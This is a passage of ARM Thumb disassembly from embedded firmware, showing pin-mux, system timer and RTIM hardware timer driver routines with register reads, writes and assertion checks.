ldr.w r2, [r3, #200] ; 0xc8 10103078: f422 4200 bic.w r2, r2, #32768 ; 0x8000 1010307c: f022 021f bic.w r2, r2, #31 10103080: 4322 orrs r2, r4 10103082: f8c3 20c8 str.w r2, [r3, #200] ; 0xc8 10103086: f8d3 20cc ldr.w r2, [r3, #204] ; 0xcc 1010308a: f422 4200 bic.w r2, r2, #32768 ; 0x8000 1010308e: f022 021f bic.w r2, r2, #31 10103092: 4322 orrs r2, r4 10103094: f8c3 20cc str.w r2, [r3, #204] ; 0xcc 10103098: f8d3 20d0 ldr.w r2, [r3, #208] ; 0xd0 1010309c: f422 4200 bic.w r2, r2, #32768 ; 0x8000 101030a0: f022 021f bic.w r2, r2, #31 101030a4: 4322 orrs r2, r4 101030a6: f8c3 20d0 str.w r2, [r3, #208] ; 0xd0 101030aa: f8d3 20d4 ldr.w r2, [r3, #212] ; 0xd4 101030ae: f422 4200 bic.w r2, r2, #32768 ; 0x8000 101030b2: f022 021f bic.w r2, r2, #31 101030b6: 4322 orrs r2, r4 101030b8: f8c3 20d4 str.w r2, [r3, #212] ; 0xd4 101030bc: f8d3 20d8 ldr.w r2, [r3, #216] ; 0xd8 101030c0: f422 4200 bic.w r2, r2, #32768 ; 0x8000 101030c4: f022 021f bic.w r2, r2, #31 101030c8: 4322 orrs r2, r4 101030ca: f8c3 20d8 str.w r2, [r3, #216] ; 0xd8 101030ce: f8d3 20dc ldr.w r2, [r3, #220] ; 0xdc 101030d2: f422 4200 bic.w r2, r2, #32768 ; 0x8000 101030d6: f022 021f bic.w r2, r2, #31 101030da: 4314 orrs r4, r2 101030dc: f8c3 40dc str.w r4, [r3, #220] ; 0xdc 101030e0: bd38 pop {r3, r4, r5, pc} 101030e2: 4d25 ldr r5, [pc, #148] ; (10103178 <Pinmux_SpicCtrl+0x13c>) 101030e4: 202c movs r0, #44 ; 0x2c 101030e6: 47a8 blx r5 101030e8: 2102 movs r1, #2 101030ea: 202d movs r0, #45 ; 0x2d 101030ec: 47a8 blx r5 101030ee: 2102 movs r1, #2 101030f0: 202e movs r0, #46 ; 0x2e 101030f2: 47a8 blx r5 101030f4: 2102 movs r1, #2 101030f6: 202f movs r0, #47 ; 0x2f 101030f8: 47a8 blx r5 101030fa: 2102 movs r1, #2 101030fc: 2030 movs r0, #48 ; 0x30 101030fe: 47a8 blx r5 10103100: 2102 movs r1, #2 10103102: 2031 movs r0, #49 ; 0x31 10103104: 47a8 blx r5 10103106: 4b1d ldr r3, [pc, #116] ; (1010317c <Pinmux_SpicCtrl+0x140>) 10103108: f8d3 20b0 ldr.w r2, [r3, #176] ; 0xb0 1010310c: f422 4200 bic.w r2, r2, #32768 ; 0x8000 10103110: f022 021f bic.w r2, r2, #31 10103114: 4322 orrs r2, r4 10103116: f8c3 20b0 str.w r2, [r3, #176] ; 0xb0 1010311a: f8d3 20b4 ldr.w r2, [r3, #180] ; 0xb4 1010311e: f422 4200 bic.w r2, r2, #32768 ; 0x8000 10103122: f022 021f bic.w r2, r2, #31 10103126: 4322 orrs r2, r4 10103128: f8c3 20b4 str.w r2, [r3, #180] ; 0xb4 1010312c: f8d3 20b8 ldr.w r2, [r3, #184] ; 0xb8 10103130: f422 4200 bic.w r2, r2, #32768 ; 0x8000 10103134: f022 021f bic.w r2, r2, #31 10103138: 4322 orrs r2, r4 1010313a: f8c3 20b8 str.w r2, [r3, #184] ; 0xb8 1010313e: f8d3 20bc ldr.w r2, [r3, #188] ; 0xbc 10103142: f422 4200 bic.w r2, r2, #32768 ; 0x8000 10103146: f022 021f bic.w r2, r2, #31 1010314a: 4322 orrs r2, r4 1010314c: f8c3 20bc str.w r2, [r3, #188] ; 0xbc 10103150: f8d3 20c0 ldr.w r2, [r3, #192] ; 0xc0 10103154: f422 4200 bic.w r2, r2, #32768 ; 0x8000 10103158: f022 021f bic.w r2, r2, #31 1010315c: 4322 orrs r2, r4 1010315e: f8c3 20c0 str.w r2, [r3, #192] ; 0xc0 10103162: f8d3 20c4 ldr.w r2, [r3, #196] ; 0xc4 10103166: f422 4200 bic.w r2, r2, #32768 ; 0x8000 1010316a: f022 021f bic.w r2, r2, #31 1010316e: 4314 orrs r4, r2 10103170: f8c3 40c4 str.w r4, [r3, #196] ; 0xc4 10103174: bd38 pop {r3, r4, r5, pc} 10103176: bf00 nop 10103178: 10102f6d .word 0x10102f6d 1010317c: 48000400 .word 0x48000400 10103180 <simulation_bit_index>: 10103180: 4603 mov r3, r0 10103182: 2000 movs r0, #0 10103184: e002 b.n 1010318c <simulation_bit_index+0xc> 10103186: 3001 adds r0, #1 10103188: 2820 cmp r0, #32 1010318a: d004 beq.n 10103196 <simulation_bit_index+0x16> 1010318c: f013 0f01 tst.w r3, #1 10103190: ea4f 0353 mov.w r3, r3, lsr #1 10103194: d0f7 beq.n 10103186 <simulation_bit_index+0x6> 10103196: 4770 bx lr 10103198 <simulation_stage_set>: 10103198: b930 cbnz r0, 101031a8 <simulation_stage_set+0x10> 1010319a: 2901 cmp r1, #1 1010319c: d009 beq.n 101031b2 <simulation_stage_set+0x1a> 1010319e: 4b07 ldr r3, [pc, #28] ; (101031bc <simulation_stage_set+0x24>) 101031a0: 6818 ldr r0, [r3, #0] 101031a2: 4308 orrs r0, r1 101031a4: 6018 str r0, [r3, #0] 101031a6: 4770 bx lr 101031a8: 4b05 ldr r3, [pc, #20] ; (101031c0 <simulation_stage_set+0x28>) 101031aa: 6818 ldr r0, [r3, #0] 101031ac: 4308 orrs r0, r1 101031ae: 6018 str r0, [r3, #0] 101031b0: 4770 bx lr 101031b2: 4a02 ldr r2, [pc, #8] ; (101031bc <simulation_stage_set+0x24>) 101031b4: 4b02 ldr r3, [pc, #8] ; (101031c0 <simulation_stage_set+0x28>) 101031b6: 6010 str r0, [r2, #0] 101031b8: 6018 str r0, [r3, #0] 101031ba: e7f0 b.n 1010319e <simulation_stage_set+0x6> 101031bc: 48000144 .word 0x48000144 101031c0: 48000148 .word 0x48000148 101031c4 <SYSTIMER_Init>: 101031c4: b5f0 push {r4, r5, r6, r7, lr} 101031c6: b089 sub sp, #36 ; 0x24 101031c8: a802 add r0, sp, #8 101031ca: 4b0e ldr r3, [pc, #56] ; (10103204 <SYSTIMER_Init+0x40>) 101031cc: 4798 blx r3 101031ce: f04f 36ff mov.w r6, #4294967295 101031d2: 2000 movs r0, #0 101031d4: 2401 movs r4, #1 101031d6: 2704 movs r7, #4 101031d8: 4d0b ldr r5, [pc, #44] ; (10103208 <SYSTIMER_Init+0x44>) 101031da: 4602 mov r2, r0 101031dc: a902 add r1, sp, #8 101031de: 9000 str r0, [sp, #0] 101031e0: 4603 mov r3, r0 101031e2: f88d 001c strb.w r0, [sp, #28] 101031e6: 9002 str r0, [sp, #8] 101031e8: 9603 str r6, [sp, #12] 101031ea: 4628 mov r0, r5 101031ec: 4e07 ldr r6, [pc, #28] ; (1010320c <SYSTIMER_Init+0x48>) 101031ee: 9404 str r4, [sp, #16] 101031f0: 9406 str r4, [sp, #24] 101031f2: 9705 str r7, [sp, #20] 101031f4: 47b0 blx r6 101031f6: 4621 mov r1, r4 101031f8: 4628 mov r0, r5 101031fa: 4b05 ldr r3, [pc, #20] ; (10103210 <SYSTIMER_Init+0x4c>) 101031fc: 4798 blx r3 101031fe: b009 add sp, #36 ; 0x24 10103200: bdf0 pop {r4, r5, r6, r7, pc} 10103202: bf00 nop 10103204: 10103255 .word 0x10103255 10103208: 48002000 .word 0x48002000 1010320c: 1010345d .word 0x1010345d 10103210: 1010326d .word 0x1010326d 10103214 <SYSTIMER_TickGet>: 10103214: 4801 ldr r0, [pc, #4] ; (1010321c <SYSTIMER_TickGet+0x8>) 10103216: 4b02 ldr r3, [pc, #8] ; (10103220 <SYSTIMER_TickGet+0xc>) 10103218: 4718 bx r3 1010321a: bf00 nop 1010321c: 48002000 .word 0x48002000 10103220: 101032f5 .word 0x101032f5 10103224 <SYSTIMER_GetPassTime>: 10103224: b510 push {r4, lr} 10103226: 4b08 ldr r3, [pc, #32] ; (10103248 <SYSTIMER_GetPassTime+0x24>) 10103228: 4604 mov r4, r0 1010322a: 4808 ldr r0, [pc, #32] ; (1010324c <SYSTIMER_GetPassTime+0x28>) 1010322c: 4798 blx r3 1010322e: 42a0 cmp r0, r4 10103230: bf3a itte cc 10103232: 1a24 subcc r4, r4, r0 10103234: 43e4 mvncc r4, r4 10103236: 1b04 subcs r4, r0, r4 10103238: 4805 ldr r0, [pc, #20] ; (10103250 <SYSTIMER_GetPassTime+0x2c>) 1010323a: ebc4 1444 rsb r4, r4, r4, lsl #5 1010323e: fba0 3004 umull r3, r0, r0, r4 10103242: 0980 lsrs r0, r0, #6 10103244: bd10 pop {r4, pc} 10103246: bf00 nop 10103248: 101032f5 .word 0x101032f5 1010324c: 48002000 .word 0x48002000 10103250: 10624dd3 .word 0x10624dd3 10103254 <RTIM_TimeBaseStructInit>: 10103254: b410 push {r4} 10103256: 2301 movs r3, #1 10103258: 2404 movs r4, #4 1010325a: 2100 movs r1, #0 1010325c: f64f 72ff movw r2, #65535 ; 0xffff 10103260: 6103 str r3, [r0, #16] 10103262: e880 001e stmia.w r0, {r1, r2, r3, r4} 10103266: f85d 4b04 ldr.w r4, [sp], #4 1010326a: 4770 bx lr 1010326c <RTIM_Cmd>: 1010326c: b538 push {r3, r4, r5, lr} 1010326e: 4b1e ldr r3, [pc, #120] ; (101032e8 <RTIM_Cmd+0x7c>) 10103270: 4298 cmp r0, r3 10103272: 4604 mov r4, r0 10103274: 460d mov r5, r1 10103276: d024 beq.n 101032c2 <RTIM_Cmd+0x56> 10103278: 3380 adds r3, #128 ; 0x80 1010327a: 4298 cmp r0, r3 1010327c: d021 beq.n 101032c2 <RTIM_Cmd+0x56> 1010327e: 3380 adds r3, #128 ; 0x80 10103280: 4298 cmp r0, r3 10103282: d01e beq.n 101032c2 <RTIM_Cmd+0x56> 10103284: 3380 adds r3, #128 ; 0x80 10103286: 4298 cmp r0, r3 10103288: d01b beq.n 101032c2 <RTIM_Cmd+0x56> 1010328a: 3380 adds r3, #128 ; 0x80 1010328c: 4298 cmp r0, r3 1010328e: d018 beq.n 101032c2 <RTIM_Cmd+0x56> 10103290: 3380 adds r3, #128 ; 0x80 10103292: 4298 cmp r0, r3 10103294: d015 beq.n 101032c2 <RTIM_Cmd+0x56> 10103296: 4b15 ldr r3, [pc, #84] ; (101032ec <RTIM_Cmd+0x80>) 10103298: 4298 cmp r0, r3 1010329a: d012 beq.n 101032c2 <RTIM_Cmd+0x56> 1010329c: 3380 adds r3, #128 ; 0x80 1010329e: 4298 cmp r0, r3 101032a0: d00f beq.n 101032c2 <RTIM_Cmd+0x56> 101032a2: 3380 adds r3, #128 ; 0x80 101032a4: 4298 cmp r0, r3 101032a6: d00c beq.n 101032c2 <RTIM_Cmd+0x56> 101032a8: 3380 adds r3, #128 ; 0x80 101032aa: 4298 cmp r0, r3 101032ac: d009 beq.n 101032c2 <RTIM_Cmd+0x56> 101032ae: 3380 adds r3, #128 ; 0x80 101032b0: 4298 cmp r0, r3 101032b2: d006 beq.n 101032c2 <RTIM_Cmd+0x56> 101032b4: 3380 adds r3, #128 ; 0x80 101032b6: 4298 cmp r0, r3 101032b8: d003 beq.n 101032c2 <RTIM_Cmd+0x56> 101032ba: 2190 movs r1, #144 ; 0x90 101032bc: 480c ldr r0, [pc, #48] ; (101032f0 <RTIM_Cmd+0x84>) 101032be: f7fd fad7 bl 10100870 <io_assert_failed> 101032c2: 6823 ldr r3, [r4, #0] 101032c4: b13d cbz r5, 101032d6 <RTIM_Cmd+0x6a> 101032c6: 05d8 lsls r0, r3, #23 101032c8: bf5c itt pl 101032ca: 2301 movpl r3, #1 101032cc: 6023 strpl r3, [r4, #0] 101032ce: 6823 ldr r3, [r4, #0] 101032d0: 05d9 lsls r1, r3, #23 101032d2: d5fc bpl.n 101032ce <RTIM_Cmd+0x62> 101032d4: bd38 pop {r3, r4, r5, pc} 101032d6: 05da lsls r2, r3, #23 101032d8: bf44 itt mi 101032da: 2302 movmi r3, #2 101032dc: 6023 strmi r3, [r4, #0] 101032de: 6823 ldr r3, [r4, #0] 101032e0: 05db lsls r3, r3, #23 101032e2: d4fc bmi.n 101032de <RTIM_Cmd+0x72> 101032e4: bd38 pop {r3, r4, r5, pc} 101032e6: bf00 nop 101032e8: 40002000 .word 0x40002000 101032ec: 48002000 .word 0x48002000 101032f0: 101d5170 .word 0x101d5170 101032f4 <RTIM_GetCount>: 101032f4: 4b17 ldr r3, [pc, #92] ; (10103354 <RTIM_GetCount+0x60>) 101032f6: 4298 cmp r0, r3 101032f8: b510 push {r4, lr} 101032fa: 4604 mov r4, r0 101032fc: d024 beq.n 10103348 <RTIM_GetCount+0x54> 101032fe: 3380 adds r3, #128 ; 0x80 10103300: 4298 cmp r0, r3 10103302: d021 beq.n 10103348 <RTIM_GetCount+0x54> 10103304: 3380 adds r3, #128 ; 0x80 10103306: 4298 cmp r0, r3 10103308: d01e beq.n 10103348 <RTIM_GetCount+0x54> 1010330a: 3380 adds r3, #128 ; 0x80 1010330c: 4298 cmp r0, r3 1010330e: d01b beq.n 10103348 <RTIM_GetCount+0x54> 10103310: 3380 adds r3, #128 ; 0x80 10103312: 4298 cmp r0, r3 10103314: d018 beq.n 10103348 <RTIM_GetCount+0x54> 10103316: 3380 adds r3, #128 ; 0x80 10103318: 4298 cmp r0, r3 1010331a: d015 beq.n 10103348 <RTIM_GetCount+0x54> 1010331c: 4b0e ldr r3, [pc, #56] ; (10103358 <RTIM_GetCount+0x64>) 1010331e: 4298 cmp r0, r3 10103320: d012 beq.n 10103348 <RTIM_GetCount+0x54> 10103322: 3380 adds r3, #128 ; 0x80 10103324: 4298 cmp r0, r3 10103326: d00f beq.n 10103348 <RTIM_GetCount+0x54> 10103328: 3380 adds r3, #128 ; 0x80 1010332a: 4298 cmp r0, r3 1010332c: d00c beq.n 10103348 <RTIM_GetCount+0x54> 1010332e: 3380 adds r3, #128 ; 0x80 10103330: 4298 cmp r0, r3 10103332: d009 beq.n 10103348 <RTIM_GetCount+0x54> 10103334: 3380 adds r3, #128 ; 0x80 10103336: 4298 cmp r0, r3 10103338: d006 beq.n 10103348 <RTIM_GetCount+0x54> 1010333a: 3380 adds r3, #128 ; 0x80 1010333c: 4298 cmp r0, r3 1010333e: d003 beq.n 10103348 <RTIM_GetCount+0x54> 10103340: 21cd movs r1, #205 ; 0xcd 10103342: 4806 ldr r0, [pc, #24] ; (1010335c <RTIM_GetCount+0x68>) 10103344: f7fd fa94 bl 10100870 <io_assert_failed> 10103348: 6963 ldr r3, [r4, #20] 1010334a: 6960 ldr r0, [r4, #20] 1010334c: 4283 cmp r3, r0 1010334e: bf18 it ne 10103350: 6960 ldrne r0, [r4, #20] 10103352: bd10 pop {r4, pc} 10103354: 40002000 .word 0x40002000 10103358: 48002000 .word 0x48002000 1010335c: 101d5188 .word 0x101d5188 10103360 <RTIM_INTConfig>: 10103360: 4b20 ldr r3, [pc, #128] ; (101033e4 <RTIM_INTConfig+0x84>) 10103362: 4298 cmp r0, r3 10103364: b570 push {r4, r5, r6, lr} 10103366: 4604 mov r4, r0 10103368: 460d mov r5, r1 1010336a: 4616 mov r6, r2 1010336c: d025 beq.n 101033ba <RTIM_INTConfig+0x5a> 1010336e: 3380 adds r3, #128 ; 0x80 10103370: 4298 cmp r0, r3 10103372: d022 beq.n 101033ba <RTIM_INTConfig+0x5a> 10103374: 3380 adds r3, #128 ; 0x80 10103376: 4298 cmp r0, r3 10103378: d01f beq.n 101033ba <RTIM_INTConfig+0x5a> 1010337a: 3380 adds r3, #128 ; 0x80 1010337c: 4298 cmp r0, r3 1010337e: d01c beq.n 101033ba <RTIM_INTConfig+0x5a> 10103380: 3380 adds r3, #128 ; 0x80 10103382: 4298 cmp r0, r3 10103384: d019 beq.n 101033ba <RTIM_INTConfig+0x5a> 10103386: 3380 adds r3, #128 ; 0x80 10103388: 4298 cmp r0, r3 1010338a: d016 beq.n 101033ba <RTIM_INTConfig+0x5a> 1010338c: 4b16 ldr r3, [pc, #88] ; (101033e8 <RTIM_INTConfig+0x88>) 1010338e: 4298 cmp r0, r3 10103390: d013 beq.n 101033ba <RTIM_INTConfig+0x5a> 10103392: 3380 adds r3, #128 ; 0x80 10103394: 4298 cmp r0, r3 10103396: d010 beq.n 101033ba <RTIM_INTConfig+0x5a> 10103398: 3380 adds r3, #128 ; 0x80 1010339a: 4298 cmp r0, r3 1010339c: d00d beq.n 101033ba <RTIM_INTConfig+0x5a> 1010339e: 3380 adds r3, #128 ; 0x80 101033a0: 4298 cmp r0, r3 101033a2: d00a beq.n 101033ba <RTIM_INTConfig+0x5a> 101033a4: 3380 adds r3, #128 ; 0x80 101033a6: 4298 cmp r0, r3 101033a8: d007 beq.n 101033ba <RTIM_INTConfig+0x5a> 101033aa: 3380 adds r3, #128 ; 0x80 101033ac: 4298 cmp r0, r3 101033ae: d004 beq.n 101033ba <RTIM_INTConfig+0x5a> 101033b0: f240 1105 movw r1, #261 ; 0x105 101033b4: 480d ldr r0, [pc, #52] ; (101033ec <RTIM_INTConfig+0x8c>) 101033b6: f7fd fa5b bl 10100870 <io_assert_failed> 101033ba: 0ceb lsrs r3, r5, #19 101033bc: 04db lsls r3, r3, #19 101033be: b933 cbnz r3, 101033ce <RTIM_INTConfig+0x6e> 101033c0: b12d cbz r5, 101033ce <RTIM_INTConfig+0x6e> 101033c2: 68a3 ldr r3, [r4, #8] 101033c4: b95e cbnz r6, 101033de <RTIM_INTConfig+0x7e> 101033c6: ea23 0505 bic.w r5, r3, r5 101033ca: 60a5 str r5, [r4, #8] 101033cc: bd70 pop {r4, r5, r6, pc} 101033ce: f44f 7183 mov.w r1, #262 ; 0x106 101033d2: 4806 ldr r0, [pc, #24] ; (101033ec <RTIM_INTConfig+0x8c>) 101033d4: f7fd fa4c bl 10100870 <io_assert_failed> 101033d8: 68a3 ldr r3, [r4, #8] 101033da: 2e00 cmp r6, #0 101033dc: d0f3 beq.n 101033c6 <RTIM_INTConfig+0x66> 101033de: 431d orrs r5, r3 101033e0: 60a5 str r5, [r4, #8] 101033e2: bd70 pop {r4, r5, r6, pc} 101033e4: 40002000 .word 0x40002000 101033e8: 48002000 .word 0x48002000 101033ec: 101d51ac .word 0x101d51ac 101033f0 <RTIM_INTClear>: 101033f0: b538 push {r3, r4, r5, lr} 101033f2: 4b17 ldr r3, [pc, #92] ; (10103450 <RTIM_INTClear+0x60>) 101033f4: 4298 cmp r0, r3 101033f6: 4604 mov r4, r0 101033f8: 68c5 ldr r5, [r0, #12] 101033fa: d025 beq.n 10103448 <RTIM_INTClear+0x58> 101033fc: 3380 adds r3, #128 ; 0x80 101033fe: 4298 cmp r0, r3 10103400: d022 beq.n 10103448 <RTIM_INTClear+0x58> 10103402: 3380 adds r3, #128 ; 0x80 10103404: 4298 cmp r0, r3 10103406: d01f beq.n 10103448 <RTIM_INTClear+0x58> 10103408: 3380 adds r3, #128 ; 0x80 1010340a: 4298 cmp r0, r3 1010340c: d01c beq.n 10103448 <RTIM_INTClear+0x58> 1010340e: 3380 adds r3, #128 ; 0x80 10103410: 4298 cmp r0, r3 10103412: d019 beq.n 10103448 <RTIM_INTClear+0x58> 10103414: 3380 adds r3, #128 ; 0x80 10103416: 4298 cmp r0, r3 10103418: d016 beq.n 10103448 <RTIM_INTClear+0x58> 1010341a: 4b0e ldr r3, [pc, #56] ; (10103454 <RTIM_INTClear+0x64>) 1010341c: 4298 cmp r0, r3 1010341e: d013 beq.n 10103448 <RTIM_INTClear+0x58> 10103420: 3380 adds r3, #128 ; 0x80 10103422: 4298 cmp r0, r3 10103424: d010 beq.n 10103448 <RTIM_INTClear+0x58> 10103426: 3380 adds r3, #128 ; 0x80 10103428: 4298 cmp r0, r3 1010342a: d00d beq.n 10103448 <RTIM_INTClear+0x58> 1010342c: 3380 adds r3, #128 ; 0x80 1010342e: 4298 cmp r0, r3 10103430: d00a beq.n 10103448 <RTIM_INTClear+0x58> 10103432: 3380 adds r3, #128 ; 0x80 10103434: 4298 cmp r0, r3 10103436: d007 beq.n 10103448 <RTIM_INTClear+0x58> 10103438: 3380 adds r3, #128 ; 0x80 1010343a: 4298 cmp r0, r3 1010343c: d004 beq.n 10103448 <RTIM_INTClear+0x58> 1010343e: f240 111d movw r1, #285 ; 0x11d 10103442: 4805 ldr r0, [pc, #20] ; (10103458 <RTIM_INTClear+0x68>) 10103444: f7fd fa14 bl 10100870 <io_assert_failed> 10103448: 60e5 str r5, [r4, #12] 1010344a: 68e3 ldr r3, [r4, #12] 1010344c: bd38 pop {r3, r4, r5, pc} 1010344e: bf00 nop 10103450: 40002000 .word 0x40002000 10103454: 48002000 .word 0x48002000 10103458: 101d51d0 .word 0x101d51d0 1010345c <RTIM_TimeBaseInit>: 1010345c: e92d 41f0 stmdb sp!, {r4, r5, r6, r7, r8, lr} 10103460: 4604 mov r4, r0 10103462: 4841 ldr r0, [pc, #260] ; (10103568 <RTIM_TimeBaseInit+0x10c>) 10103464: 4284 cmp r4, r0 10103466: 460d mov r5, r1 10103468: 4617 mov r7, r2 1010346a: 461e mov r6, r3 1010346c: d024 beq.n 101034b8 <RTIM_TimeBaseInit+0x5c> 1010346e: 4b3f ldr r3, [pc, #252] ; (1010356c <RTIM_TimeBaseInit+0x110>) 10103470: 429c cmp r4, r3 10103472: d021 beq.n 101034b8 <RTIM_TimeBaseInit+0x5c> 10103474: 3380 adds r3, #128 ; 0x80 10103476: 429c cmp r4, r3 10103478: d01e beq.n 101034b8 <RTIM_TimeBaseInit+0x5c> 1010347a: 3380 adds r3, #128 ; 0x80 1010347c: 429c cmp r4, r3 1010347e: d01b beq.n 101034b8 <RTIM_TimeBaseInit+0x5c> 10103480: 3380 adds r3, #128 ; 0x80 10103482: 429c cmp r4, r3 10103484: d018 beq.n 101034b8 <RTIM_TimeBaseInit+0x5c> 10103486: 3380 adds r3, #128 ; 0x80 10103488: 429c cmp r4, r3 1010348a: d015 beq.n 101034b8 <RTIM_TimeBaseInit+0x5c> 1010348c: 4b38 ldr r3, [pc, #224] ; (10103570 <RTIM_TimeBaseInit+0x114>) 1010348e: 429c cmp r4, r3 10103490: d012 beq.n 101034b8 <RTIM_TimeBaseInit+0x5c> 10103492: 3380 adds r3, #128 ; 0x80 10103494: 429c cmp r4, r3 10103496: d00f beq.n 101034b8 <RTIM_TimeBaseInit+0x5c> 10103498: 3380 adds r3, #128 ; 0x80 1010349a: 429c cmp r4, r3 1010349c: d00c beq.n 101034b8 <RTIM_TimeBaseInit+0x5c> 1010349e: 3380 adds r3, #128 ; 0x80 101034a0: 429c cmp r4, r3 101034a2: d009 beq.n 101034b8 <RTIM_TimeBaseInit+0x5c> 101034a4: 3380 adds r3, #128 ; 0x80 101034a6: 429c cmp r4, r3 101034a8: d006 beq.n 101034b8 <RTIM_TimeBaseInit+0x5c> 101034aa: 3380 adds r3, #128 ; 0x80 101034ac: 429c cmp r4, r3 101034ae: d003 beq.n 101034b8 <RTIM_TimeBaseInit+0x5c> 101034b0: 213d movs r1, #61 ; 0x3d 101034b2: 4830 ldr r0, [pc, #192] ; (10103574 <RTIM_TimeBaseInit+0x118>) 101034b4: f7fd f9dc bl 10100870 <io_assert_failed> 101034b8: 68eb ldr r3, [r5, #12] 101034ba: f033 0304 bics.w r3, r3, #4 101034be: d003 beq.n 101034c8 <RTIM_TimeBaseInit+0x6c> 101034c0: 213e movs r1, #62 ; 0x3e 101034c2: 482c ldr r0, [pc, #176] ; (10103574 <RTIM_TimeBaseInit+0x118>) 101034c4: f7fd f9d4 bl 10100870 <io_assert_failed> 101034c8: 682b ldr r3, [r5, #0] 101034ca: 2bff cmp r3, #255 ; 0xff 101034cc: d847 bhi.n 1010355e <RTIM_TimeBaseInit+0x102> 101034ce: f04f 0800 mov.w r8, #0 101034d2: 4620 mov r0, r4 101034d4: 4641 mov r1, r8 101034d6: 4b28 ldr r3, [pc, #160] ; (10103578 <RTIM_TimeBaseInit+0x11c>) 101034d8: 4798 blx r3 101034da: 4b28 ldr r3, [pc, #160] ; (1010357c <RTIM_TimeBaseInit+0x120>) 101034dc: f8c4 8008 str.w r8, [r4, #8] 101034e0: 4620 mov r0, r4 101034e2: 4798 blx r3 101034e4: 4b26 ldr r3, [pc, #152] ; (10103580 <RTIM_TimeBaseInit+0x124>) 101034e6: 686a ldr r2, [r5, #4] 101034e8: 429c cmp r4, r3 101034ea: 61e2 str r2, [r4, #28] 101034ec: d034 beq.n 10103558 <RTIM_TimeBaseInit+0xfc> 101034ee: 3380 adds r3, #128 ; 0x80 101034f0: 429c cmp r4, r3 101034f2: d031 beq.n 10103558 <RTIM_TimeBaseInit+0xfc> 101034f4: 4b23 ldr r3, [pc, #140] ; (10103584 <RTIM_TimeBaseInit+0x128>) 101034f6: 429c cmp r4, r3 101034f8: d02e beq.n 10103558 <RTIM_TimeBaseInit+0xfc> 101034fa: 3380 adds r3, #128 ; 0x80 101034fc: 429c cmp r4, r3 101034fe: d02b beq.n 10103558 <RTIM_TimeBaseInit+0xfc> 10103500: f8c4 8018 str.w r8, [r4, #24] 10103504: 692a ldr r2, [r5, #16] 10103506: 6863 ldr r3, [r4, #4] 10103508: b31a cbz r2, 10103552 <RTIM_TimeBaseInit+0xf6> 1010350a: f043 0310 orr.w r3, r3, #16 1010350e: 68ea ldr r2, [r5, #12] 10103510: 2a04 cmp r2, #4 10103512: 68aa ldr r2, [r5, #8] 10103514: bf0c ite eq 10103516: f043 0304 orreq.w r3, r3, #4 1010351a: f023 0304 bicne.w r3, r3, #4 1010351e: b9aa cbnz r2, 1010354c <RTIM_TimeBaseInit+0xf0> 10103520: f043 0302 orr.w r3, r3, #2 10103524: 6063 str r3, [r4, #4] 10103526: b146 cbz r6, 1010353a <RTIM_TimeBaseInit+0xde> 10103528: 230e movs r3, #14 1010352a: 4630 mov r0, r6 1010352c: 9a06 ldr r2, [sp, #24] 1010352e: 4639 mov r1, r7 10103530: 4d15 ldr r5, [pc, #84] ; (10103588 <RTIM_TimeBaseInit+0x12c>) 10103532: 47a8 blx r5 10103534: 4638 mov r0, r7 10103536: 4b15 ldr r3, [pc, #84] ; (1010358c <RTIM_TimeBaseInit+0x130>) 10103538: 4798 blx r3 1010353a: 2301 movs r3, #1 1010353c: 6123 str r3, [r4, #16] 1010353e: 68e3 ldr r3, [r4, #12] 10103540: 2b00 cmp r3, #0 10103542: dafc bge.n 1010353e <RTIM_TimeBaseInit+0xe2> 10103544: 4b12 ldr r3, [pc, #72] ; (10103590 <RTIM_TimeBaseInit+0x134>) 10103546: 60e3 str r3, [r4, #12] 10103548: e8bd 81f0 ldmia.w sp!, {r4, r5, r6, r7, r8, pc} 1010354c: f023 0302 bic.w r3, r3, #2 10103550: e7e8 b.n 10103524 <RTIM_TimeBaseInit+0xc8> 10103552: f023 0310 bic.w r3, r3, #16 10103556: e7da b.n 1010350e <RTIM_TimeBaseInit+0xb2> 10103558: 682b ldr r3, [r5, #0] 1010355a: 61a3 str r3, [r4, #24] 1010355c: e7d2 b.n 10103504 <RTIM_TimeBaseInit+0xa8> 1010355e: 213f movs r1, #63 ; 0x3f 10103560: 4804 ldr r0, [pc, #16] ; (10103574 <RTIM_TimeBaseInit+0x118>) 10103562: f7fd f985 bl 10100870 <io_assert_failed> 10103566: e7b2 b.n 101034ce <RTIM_TimeBaseInit+0x72> 10103568: 40002000 .word 0x40002000 1010356c: 40002080 .word 0x40002080 10103570: 48002000 .word 0x48002000 10103574: 101d5144 .word 0x101d5144 10103578: 1010326d .word 0x1010326d 1010357c: 101033f1 .word 0x101033f1 10103580: 40002200 .word 0x40002200 10103584: 48002200 .word 0x48002200 10103588: 10106aa9 .word 0x10106aa9 1010358c: 101069b9 .word 0x101069b9 10103590: 0007ffff .word 0x0007ffff 10103594 <RTIM_DeInit>: 10103594: 4b19 ldr r3, [pc, #100] ; (101035fc <RTIM_DeInit+0x68>) 10103596: 4298 cmp r0, r3 10103598: b510 push {r4, lr} 1010359a: 4604 mov r4, r0 1010359c: d024 beq.n 101035e8 <RTIM_DeInit+0x54> 1010359e: 3380 adds r3, #128 ; 0x80 101035a0: 4298 cmp r0, r3 101035a2: d021 beq.n 101035e8 <RTIM_DeInit+0x54> 101035a4: 3380 adds r3, #128 ; 0x80 101035a6: 4298 cmp r0, r3 101035a8: d01e beq.n 101035e8 <RTIM_DeInit+0x54> 101035aa: 3380 adds r3, #128 ; 0x80 101035ac: 4298 cmp r0, r3 101035ae: d01b beq.n 101035e8 <RTIM_DeInit+0x54> 101035b0: 3380 adds r3, #128 ; 0x80 101035b2: 4298 cmp r0, r3 101035b4: d018 beq.n 101035e8 <RTIM_DeInit+0x54> 101035b6: 3380 adds r3, #128 ; 0x80 101035b8: 4298 cmp r0, r3 101035ba: d015 beq.n 101035e8 <RTIM_DeInit+0x54> 101035bc: 4b10 ldr r3, [pc, #64] ; (10103600 <RTIM_DeInit+0x6c>) 101035be: 4298 cmp r0, r3 101035c0: d012 beq.n 101035e8 <RTIM_DeInit+0x54> 101035c2: 3380 adds r3, #128 ; 0x80 101035c4: 4298 cmp r0, r3 101035c6: d00f beq.n 101035e8 <RTIM_DeInit+0x54> 101035c8: 3380 adds r3, #128 ; 0x80 101035ca: 4298 cmp r0, r3 101035cc: d00c beq.n 101035e8 <RTIM_DeInit+0x54> 101035ce: 3380 adds r3, #128 ; 0x80 101035d0: 4298 cmp r0, r3 101035d2: d009 beq.n 101035e8 <RTIM_DeInit+0x54> 101035d4: 3380 adds r3, #128 ; 0x80 101035d6: 4298 cmp r0, r3 101035d8: d006 beq.n 101035e8 <RTIM_DeInit+0x54> 101035da: 3380 adds r3, #128 ; 0x80 101035dc: 